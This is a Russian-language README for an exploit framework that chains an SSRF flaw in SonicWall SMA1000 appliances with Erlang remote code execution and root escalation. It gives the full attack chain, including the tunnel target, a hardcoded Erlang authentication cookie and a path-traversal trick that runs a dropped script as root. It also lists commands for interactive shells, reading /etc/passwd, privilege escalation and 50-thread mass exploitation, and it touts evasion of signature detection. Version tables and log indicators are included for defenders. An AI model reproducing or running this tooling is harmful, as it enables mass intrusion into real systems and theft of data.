
Многоэксплойтный фреймворк для цепочки уязвимостей SonicWall SMA1000: SSRF (CVE-2026-15409) → Erlang RCE и эскалация привилегий до root (CVE-2026-15410). Включает интерактивную оболочку, пакетное сканирование, операции с файлами и безопасный режим обнаружения для авторизованного тестирования на проникновение.

Фреймворк для эксплуатации и инструмент безопасного обнаружения
Неавторизованный доступ к компьютерным системам является незаконным в соответствии с **CFAA (США), Computer Misuse Act (Великобритания), TCK 243/244 (Турция) и аналогичными законами по всему миру.
CVE-2026-15409 — критическая неаутентифицированная уязвимость Server-Side Request Forgery (SSRF), обнаруженная в интерфейсе Appliance Work Place устройства SonicWall SMA1000.
Как это работает:
wsproxy.os:cmd/1.Ключевые факты:
Раскрыто: 14 июля 2026 г.
Оценка CVSS: 10.0 (КРИТИЧЕСКАЯ)
Затронутые продукты: SMA 6210, SMA 7210, SMA 8200v
Исправленные версии: 12.4.3-03453+ и 12.5.0-02835+
exploit.py)Полноценный боевой эксплойт объединяет CVE-2026-15409 и CVE-2026-15410 для достижения компрометации на уровне root.
| Возможность | Описание |
|---|---|
| [+] SSRF → Erlang RPC | Автоматически туннелирует через wsproxy для доступа к внутренним узлам Erlang. |
| [+] Удалённое выполнение кода | Выполнение произвольных команд ОС через os:cmd/1. |
| [+] Интерактивная оболочка | Запуск живой оболочки с поддержкой команд privesc и download. |
| [+] Повышение привилегий до root | Использование CVE-2026-15410 для эскалации до root через обход пути в AMC. |
| [+] Файловые операции | Чтение и запись файлов в целевой системе. |
| [+] Массовое сканирование | Массовая эксплуатация нескольких целей с многопоточностью (флаг -l). |
| [+] Обнаружение SSRF | Опциональный флаг --detect для безопасной проверки уязвимости. |
| [+] Настраиваемость | Переопределение WebSocket URL, Origin, User-Agent, Cookie и многого другого. |
| [+] Без дополнительных зависимостей | Используется только стандартная библиотека Python (кроме опционального requests для обнаружения). |
| [+] Собственная реализация WebSocket | Без внешних библиотек WebSocket — собственная реализация рукопожатия на уровне сокетов позволяет избежать сигнатурных отпечатков, специфичных для библиотек, что улучшает OPSEC. |
pip (для библиотеки requests)pip install -r requirements.txt
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Single target scan
python checker.py https://192.168.1.100
# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace
# Mass scan from file
python checker.py --list targets.txt
| Продукт | Уязвимые версии | Исправленные версии |
|---|---|---|
| SMA 6210 | 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 12.5.0-02283, 12.5.0-02624, 12.5.0-02800 | 12.4.3-03453+ 12.5.0-02835+ |
| SMA 7210 | Как указано выше | Как указано выше |
| SMA 8200v | Как указано выше | Как указано выше |
[!] Важно: Эти уязвимости не затрагивают межсетевые экраны SonicWall (SSL-VPN) или серию SMA 100.
Endpoint wsproxy на порту 443 принимает параметр bmID, начинающийся с -3389, и спецификацию host:port. Указав host=127.0.0.1 и port=1050, атакующие могут туннелировать к внутреннему сервису распределения Erlang.
Узел Erlang использует жёстко закодированный cookie по умолчанию: 10ecad5b446e86864832904cd439b6b70262. Это позволяет удалённо аутентифицироваться и выполнять любой вызов os:cmd/1.
После аутентификации эксплойт записывает shell-скрипт в /var/tmp/ и вызывает XML-RPC endpoint AMC remove_hotfix с обходом пути (../../../../var/tmp/script.sh), выполняя скрипт от имени root.
SonicWall рекомендует проверять:
extraweb_access.log на наличие /__api__/login или /__api__/logout (статус 200)extraweb_access.log на наличие /wsproxy с подозрительными параметрами host (статус 101)ctrl-service.log на наличие откатов hotfix с обходом пути/var/lib/unit/conf.json на наличие маршрутов для /__api__/login или /__api__/logoutЭтот инструмент предоставляется исключительно в образовательных целях и для авторизованного тестирования на проникновение.